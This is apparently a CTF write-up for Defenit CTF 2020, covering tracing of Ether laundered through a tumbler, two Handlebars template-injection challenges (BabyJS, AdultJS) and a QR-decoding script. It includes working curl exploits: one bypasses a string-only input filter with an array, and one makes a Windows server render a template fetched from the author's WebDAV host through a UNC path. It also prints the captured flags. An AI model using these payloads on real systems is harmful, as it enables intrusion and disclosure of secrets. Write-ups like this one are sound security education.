Defenit CTF 2020

Bad Tumblers

[Precondition]
0. Hundreds of wallets contain about 5 ether (tumbler)
0. Hackers steal more than 400 ethers through hacking per exchange
0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet
0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C.
0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed.
0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.

[Description]
Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!

  • Please refer to attached concept map
  • In this challenge, all address is on ropsten network
  • Please ignore fauset address (or assume it is an exchange's wallet)
  • exchange A, hacker's address : 0x5149Aa7Ef0d343e785663a87cC16b7e38F7029b2
  • exchange C, hacker's address : 0x2Fd3F2701ad9654c1Dd15EE16C5dB29eBBc80Ddf
  • flag format is 0xEXCHANGE_B_HACKER_CHECKSUM_ADDRESS Defenit{0x[a-zA-Z0-9]}
Image from https://ctf.defenit.kr/

We are provided with the one source wallet and one destination wallet for this challenge. We approached this by making a few assumptions:

  1. The total amount of eth put into the tumbler networks by the attacker is approximately equal to the eth leaving the tumbler networks ie Wallet A + Wallet B = Wallet C
  2. All wallets that Wallet A sent eth to (between 2020-05-31 12:20:52 and 2020-05-31 13:13:10) belong to the tumbler networks
  3. All wallets that Wallet C received eth from belong to the tumbler networks
  4. Wallet B would have sent eth into the same tumbler networks, overlapping with some wallets that Wallet A also sent eth to

As such, our solution is as follows:

  1. Take all transactions from Wallet A, label the addresses where eth was senttumblers
  2. Take all the transactions from Wallet C, label the addresses where eth was received fromtumblers
  3. Take all the transactions from tumblers where the addresses received eth, sum the values by the sources
  4. Recover multiple addresses that sent eth into tumblers, but only one has a total transferred out eth value of Wallet C - Wallet A

Full working can be found here.

BabyJS

Render me If you can.
const express = require("express");
const path = require("path");
const crypto = require("crypto");
const fs = require("fs");
const app = express();

const SALT = crypto.randomBytes(64).toString("hex");
const FLAG = require("./config").FLAG;

app.set("view engine", "html");
app.engine("html", require("hbs").__express);

if (!fs.existsSync(path.join("views", "temp"))) {
  fs.mkdirSync(path.join("views", "temp"));
}

app.use(express.urlencoded());
app.use((req, res, next) => {
  const { content } = req.body;
  console.log(typeof content);

  req.userDir = crypto
    .createHash("md5")
    .update(`${req.connection.remoteAddress}_${SALT}`)
    .digest("hex");
  req.saveDir = path.join("views", "temp", req.userDir);

  if (!fs.existsSync(req.saveDir)) {
    fs.mkdirSync(req.saveDir);
  }

  if (
    (typeof content === "string" && content.indexOf("FLAG") != -1) ||
    (typeof content === "string" && content.length > 200)
  ) {
    res.end("Request blocked");
    return;
  }

  next();
});

app.get("/", (req, res) => {
  const { p } = req.query;
  if (!p) res.redirect("/?p=index");
  else res.render(p, { FLAG, apple: "mint" });
});

app.post("/", (req, res) => {
  const {
    body: { content },
    userDir,
    saveDir,
  } = req;
  const filename = crypto.randomBytes(8).toString("hex");

  let p = path.join("temp", userDir, filename);

  fs.writeFile(`${path.join(saveDir, filename)}.html`, content, () => {
    res.redirect(`/?p=${p}`);
  });
});

app.listen(8080, "0.0.0.0");
Provided Application Source

The objective here is to display a variable in a Handlebars template without actually using the name, ie display the content of FLAG without actually using FLAG.

The first obvious method is to iterate over this and display each property:

{{#each this}}
  {{this}}
{{/each}}

However, this fails: TypeError: /app/views/temp/fa7a54331dd648457de83701c653d0f0/b96ead0b237733b6.html: Cannot convert object to primitive value because Express passes in some extra stuff that cannot be converted.

This can be extended:

{{#each this}}
  {{#if this.length}} {{this}} {{/if}}
{{/each}}

which gives the following output: Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8} mint

However, we did not manage to find the above solution and went back to reviewing the source code.

We took a close look at the condition that filters our entries:

if (
    (typeof content === "string" && content.indexOf("FLAG") != -1) ||
    (typeof content === "string" && content.length > 200)
  ) {
    res.end("Request blocked");
    return;
  }

and we realised the check only operated on strings. Well, we could send in an array:

$ curl "http://babyjs.ctf.defenit.kr/" -H "Content-Type: application/x-www-form-urlencoded" --data "content[]={{FLAG}}" -L
Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}

AdultJS

Are you over 18?

This challenge is for adults :D

Hints

  • Adult-JS is Served by Windows
  • UNC Path

Oh no, the previous challenge grew up.

We took a look at the provided source code:

const express = require('express');
const child_process = require('child_process');
const fs = require('fs');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const assert = require('assert');
const hbs = require('hbs');
const app = express();

const FLAG = fs.readFileSync('./flag').toString();
hbs.registerPartial('FLAG', FLAG);

app.engine('html', hbs.__express);
app.set('view engine', 'html');

var shared = 'ADULT/JS';

app.use(bodyParser.urlencoded({
    extended: true
}));
app.use(bodyParser.json());
app.use(cookieParser(shared))

app.get('/', (req, res) => {
    res.send('It Works! <a href="/assert?code=1">Test</a>');
});

app.get('/assert', (req, res) => {
    assert(req.query.code);
    res.end('Success');
});

app.post("/b11a993461d7b578075b91b7a83716e444f5b788f6ab83fcaf8857043e501d59", (req, res) => {
    try {
        ccb89895c = ~~req.route.abccce745;
        d831e9a8b = !req.secure.c47fe290a;
        d88099c64 = !req.ips.g1da192b8;
        d892c4194 = req.params["icacd6e65"];
        ebfc3a2da = req.params["ea11668e6"];
        h4ab88f09 = req.ip["a6ba6da09"];
        h774a9af1 = [req.query.f4cac3da2];

        a63d8887e = 'c8cd0961a';
        i606199e5 = 'b1866791b';
        ddb64ecbe = Buffer.allocUnsafe(62);
        bc8955df0 = {
            g563f3740: shared,
            a9928c724: this
        };
        d1112ec75 = 'add19ffe0';
        i25dfc5b5 = Buffer.allocUnsafe(11);
        i7d8af237 = {
            b7431e336: this,
            f2237285c: shared
        };
        hb3d60584 = {
            hab2352d6: this,
            bf89f18ae: shared
        };
        d88099c64 = d88099c64.d52434cec
        d831e9a8b = d831e9a8b ** d831e9a8b
        h4ab88f09 = h4ab88f09["d1506a671"]
        ccb89895c = ccb89895c ** ccb89895c

        i25dfc5b5 = /bb61465f5/.source + '//' + JSON.stringify(h4ab88f09);

        res.attachment(i606199e5);
    } catch {
        res.end('Error');
    }
});

<snip>
app.listen(8081);

Well, great, we just have to review 517620 lines of JavaScript and identify a flaw in these 10003 handlers for endpoints. Happily (or unhappily, since our solution parses the handlers automatically), the number of endpoints were reduced to 2000~ midway through.

A quick scroll through suggested that these handlers all eventually called a function like res.attachment(...), res.cookie(...) or res.render(...). We zoomed in on res.render(...):

  1. The challenge name hints at a relation to BabyJS, and that involves rendering a flag with a template
  2. More critically, the presence of the following code snippet indicates that we somehow need to render a Handlebars partial.
const FLAG = fs.readFileSync('./flag').toString();
hbs.registerPartial('FLAG', FLAG);

Our strategy here was to perform taint analysis - identify whether the functions were called with variables that eventually references req(which we can control partially).

The handlers were parsed into an AST with Esprima, then logic written to recursively check through the nodes to identify whether function arguments referenced req. Along the way, we blacklisted properties like ip, ips, secure etc because these properties did not allow us much control.

The parser can be found here.

req.body.hcda7a4f9
ae97ef205
res.render(ae97ef205)
tainted 61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770540eb6d2a020: res.render(ae97ef205)
Parser Output

The relevant handler:

app.post("/61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770540eb6d2a020", (req, res) => {
    try {
        ae97ef205 = req.body.hcda7a4f9;
        c43c4f0d2 = req.get("d28c3a2a7");
        dd0372ef0 = req.range("g64aa5062");
        f71f5ce80 = req.cookies.i77baba57;
        ic9e2c145 = req.secure["eb4688e6f"];

        fc4ebc0cc = {
            b13a9706f: Function,
            f635b63db: 15
        };
        ae9a8c19f = {
            h4f3b2aa1: shared,
            cf479eeba: this
        };
        h4a0a676e = Buffer.alloc(26);
        h9b2a10f7 = Buffer.allocUnsafe(73);
        f8c4d94cc = [
            [
                [
                    [{
                        cbee7d77b: this,
                        e21888a73: shared
                    }]
                ]
            ]
        ];
        dffbae364 = {
            f13828fc5: Function,
            cbcc2fbc6: 22
        };
        ib4cb72c9 = {
            hdd2f9aa3: Function,
            he404c257: 59
        };
        hf494292b = 'f7de2a815';

        ae9a8c19f = assert(f71f5ce80);

        res.render(ae97ef205);
    } catch {
        res.end('Error');
    }
});

Relevant portions:

ae97ef205 = req.body.hcda7a4f9;
f71f5ce80 = req.cookies.i77baba57;

ae9a8c19f = assert(f71f5ce80);
res.render(ae97ef205);

Setting the body parameter hcda7a4f9 will allow us to specify the path to a template to render, while setting the cookie i77baba57 is required to pass the assertion.

I will also note here that there are only 199~ endpoints (after the reduction in challenge difficulty) which call res.render(...): a number small enough to feasibly manually check each handler.

But what now? We have identified a way to load a specific template, but no way to actually write to a template.

The two hints come into play here - the application server is running on Windows, which means we can specify a UNC path to load a template from a network resource instead of the local file system.

Here begins a two hour journey to actually exploit this. On my local machine, attempting to render a resource like \\justins.in\public\ containing {{> FLAG}} renders the test flag perfectly fine. Of course, specifying a path to a SMB server did not work against the challenge server (network restrictions?).

While playing around with the payload, we observed interesting entries in our web server logs:

45.63.124.33 - - [07/Jun/2020:15:35:45 +0800] "OPTIONS /public/.html HTTP/1.1" 403 428 "-" "Microsoft-WebDAV-MiniRedir/10.0.14393"

Wikipedia says:

Some Microsoft Windows interfaces also allow or require UNC syntax for WebDAV share access, rather than a URL. The UNC syntax is extended with optional components to denote use of SSL and TCP/IP port number, a WebDAV URL of http[s]://HostName[:Port]/SharedFolder/Resource becomes \\HostName[@SSL][@Port]\SharedFolder\Resource

At this point, we just have to run a WebDAV server and host {{> FLAG}} on the server:

$ curl "http://adult-js.ctf.defenit.kr/61050c6ef9c64583e828ed565ca424b8be3c585d90a77e52a770540eb6d2a020" --data "hcda7a4f9=\\\\justins.in@8181\\index" --cookie "i77baba57=a"
Defenit{AuduLt_JS-@_lo7e5_@-b4By-JS__##}

QR Generator

Escape from QR devil!

Scan and submit 100 ASCII QR codes.

from pwn import *
from PIL import Image, ImageDraw
import qrtools

r = remote("qr-generator.ctf.defenit.kr", 9000)

r.recvuntil("name? ")
r.sendline("ASDF")

BORDER = 20
CELL_SIZE = 10

for _ in range(100):
    try:
        line = r.recvuntil("< QR >\n")
    except EOFError:
        print(r.recv())

    qr = qrtools.QR()

    lines = []
    while len(line) > 0:
        line = r.recvline().strip()
        lines.append(line.split(b" "))

    img = Image.new('RGB', [len(lines) * CELL_SIZE + 2*BORDER, len(lines) * CELL_SIZE + 2*BORDER], (255, 255, 255))
    d = ImageDraw.Draw(img)

    for y, cells in enumerate(lines):
        for x, cell in enumerate(cells):
            d.rectangle(
                [
                    BORDER + x*CELL_SIZE,
                    BORDER + y*CELL_SIZE,
                    BORDER + (x+1)*CELL_SIZE,
                    BORDER + (y+1)*CELL_SIZE],
                fill=(0, 0, 0) if cell == b'1' else (255, 255, 255)
            )

    img.save("qr.png")
    qr.decode("qr.png")

    print(r.recvline())
    r.sendline(qr.data)

r.interactive()

A script was written to convert the ASCII QR code into an image, then fed into qrtools to actually scan (theres probably a way to scan the ASCII QR code directly).

First Blood :)